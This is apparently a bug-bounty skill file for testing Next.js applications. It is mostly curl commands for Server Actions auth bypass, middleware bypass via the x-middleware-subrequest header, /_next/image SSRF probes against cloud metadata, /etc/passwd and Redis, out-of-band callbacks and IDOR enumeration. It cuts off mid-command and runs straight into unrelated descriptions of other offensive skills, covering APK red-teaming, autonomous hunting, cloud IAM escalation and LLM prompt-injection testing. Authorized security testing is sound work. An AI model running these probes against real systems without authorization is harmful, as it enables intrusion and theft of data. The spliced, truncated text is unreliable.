hunt-nextjs
Hunt-nextjs identifies vulnerabilities in Next.js applications versions 13-15 and React SSR frameworks, including Server Actions authentication bypass, Middleware static asset path bypass, ISR cache poisoning, Image Optimization SSRF, RSC payload leakage, getServerSideProps injection, source map exposure, and debug endpoint disclosure. Use this skill when testing targets confirmed to run Next.js or similar server-side rendering frameworks to systematically discover high-value authentication and data exfiltration weaknesses.
git clone --depth 1 https://github.com/elementalsouls/Claude-BugHunter /tmp/hunt-nextjs && cp -r /tmp/hunt-nextjs/skills/hunt-nextjs ~/.claude/skills/hunt-nextjsSKILL.md
# HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
## Crown Jewel Targets
Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
**Highest-value chains:**
- **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
- **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
- **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
- **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
- **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
---
## Attack Surface Signals
```
/_next/image?url=&w=&q= Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame Debug stack frame endpoint
/_next/static/chunks/ JS bundles — source map candidate
/api/ API routes — standard hunt surface
__NEXT_DATA__ in HTML SSR props leaked to client
x-nextjs-* response headers Confirms Next.js
```
---
## Phase 1 — Fingerprint & Version Detection
```bash
# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"
# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
```
---
## Phase 2 — Server Actions Abuse
```bash
# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
-H "Next-Action: ACTION_ID_HERE" \
-H "Content-Type: multipart/form-data; boundary=----" \
-H "Cookie: " \
--data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only
```
---
## Phase 3 — Middleware Auth Bypass
```bash
# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible
# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"
# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
```
---
### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
```bash
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware" and "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
```
## Phase 4 — Image Optimization SSRF (`/_next/image`)
```bash
# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
```
**FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
fetches URLs allowed by `images.remotePatterns` / `images.domains` in
`next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
returns an *optimized image*, not the upstream response body, so a status code
alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
Collaborator subdomain** (above), or by body-diffing a known-internal vs
known-external target. Do not report on status code.
> Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
> through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
> redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
> NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
> Actions surface.
---
## Phase 5 — `/_next/data/` IDOR & Data Leakage
```bash
# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
-H "Cookie: session=VICTIM_SESSION"
# Try other users' data
for ID in 1 2 3 100 1000; do
curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done
# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "httpEnd-to-end Android APK red-team pipeline — automated APK acquisition (Play Store + apkpure + apkmirror fallback), jadx decompilation, secret/URL/JWT/Firebase grep, pinned-cert extraction, exported-component enumeration, Frida runtime instrumentation templates, intent-injection probes. Built from an authorized external red-team engagement where 7 APKs were pulled manually, 4 download attempts truncated, and a hardcoded JWT + 30 internal API endpoints were recovered from one of the apps. Use when target has a mobile app catalogue (Play Store developer page), when you find an APK URL hosted on a web server, or when post-recon mentions "mobile app" in scope.
Run autonomous hunt loop on a target — scope check → recon → rank surface → hunt → validate → report with configurable checkpoints. Usage: /autopilot target.com [--paranoid|--normal|--yolo]
Local-tooling companion to the bug-bounty orchestrator — carries the SAME complete bug-bounty workflow, but reach for THIS variant when you also need to resolve where tools, wordlists, and clones are installed on the local machine (jhaddix, SecLists, trufflehog, ffuf, dalfox, ghauri); for pure orchestration/routing use the bug-bounty skill. Workflow it covers — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use when you need the local install path of a tool / wordlist / clone for a hunt, or as the full-workflow variant when operating from this local toolkit; for general routing use the bug-bounty skill. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Use at the START of any bug bounty hunting session, when switching targets, or when feeling lost about what to do next. Master orchestrator that combines the 5-phase non-linear hunting workflow with the critical thinking framework (developer psychology, anomaly detection, What-If experiments). Routes to all other skills based on current hunting phase. Also use when asking "what should I do next" or "where am I in the process.
Complete bug bounty workflow — recon (subdomain enumeration, asset discovery, fingerprinting, HackerOne scope, source code audit), pre-hunt learning (disclosed reports, tech stack research, mind maps, threat modeling), vulnerability hunting (IDOR, SSRF, XSS, auth bypass, CSRF, race conditions, SQLi, XXE, file upload, business logic, GraphQL, HTTP smuggling, cache poisoning, OAuth, timing side-channels, OIDC, SSTI, subdomain takeover, cloud misconfig, ATO chains, agentic AI), LLM/AI security testing (chatbot IDOR, prompt injection, indirect injection, ASCII smuggling, exfil channels, RCE via code tools, system prompt extraction, ASI01-ASI10), A-to-B bug chaining (IDOR→auth bypass, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth), bypass tables (SSRF IP bypass, open redirect bypass, file upload bypass), language-specific grep (JS prototype pollution, Python pickle, PHP type juggling, Go template.HTML, Ruby YAML.load, Rust unwrap), and reporting (7-Question Gate, 4 validation gates, human-tone writing, templates by vuln class, CVSS 3.1, PoC generation, always-rejected list, conditional chain table, submission checklist). Use for ANY bug bounty task — starting a new target, doing recon, hunting specific vulns, auditing source code, testing AI features, validating findings, or writing reports. 中文触发词：漏洞赏金、安全测试、渗透测试、漏洞挖掘、信息收集、子域名枚举、XSS测试、SQL注入、SSRF、安全审计、漏洞报告
Bugcrowd-specific reporting tactics complementing report-writing: VRT category search-and-fallback strategy when no exact match exists, manual severity override when VRT defaults underrate impact, severity-request paragraph as first body section, OOS-clause rebuttal templates (rate limiting on auth-flow endpoints, debug-info framing, user-enumeration with sensitive PII, theoretical-issue counter), chained-finding cross-reference patterns, target selection for QA-vs-prod programs, researcher-side hygiene (Bugcrowdninja email alias, account state restoration, friendly-tester posture). Use when filing a Bugcrowd submission, when VRT default seems wrong, when triager closes as OOS or downgrades severity, when chaining linked submissions, or when scope distinguishes production from QA. Pairs with report-writing and triage-validation.
Build an exploit chain — given bug A, finds B and C to combine for higher severity and payout. Knows common chain patterns: IDOR→ATO, SSRF→cloud metadata, XSS→ATO, open redirect→OAuth theft, S3→bundle→secret→OAuth. Usage: /chain
Cloud IAM red-team attack chain across AWS, Azure, GCP — focused on EXTERNAL exploitation paths and post-credential-discovery privilege analysis. Covers IAM enumeration (aws iam, az role, gcloud iam), STS/AssumeRole chaining, Azure Managed Identity abuse (via SSRF/leak), GCP service account JSON abuse, IMDSv1/v2 attacks via SSRF, K8s ServiceAccount token privilege analysis once held (token discovery / cluster exposure is owned by hunt-k8s), role-trust-policy confused-deputy, cross-account assume-role enumeration, IAM privilege escalation patterns (24+ AWS, 8+ Azure, 6+ GCP), and AWS Cognito Identity Pool unauthenticated-role attack chain (GetId → GetCredentialsForIdentity → IAM role abuse). Built for the case where recon yields a credential (key, JSON, token) and you need to know what it grants and how to escalate. Use when an AWS key / Azure secret / GCP service account JSON / K8s SA token surfaces from a code repo, JS bundle, APK, breach corpus, or SSRF chain.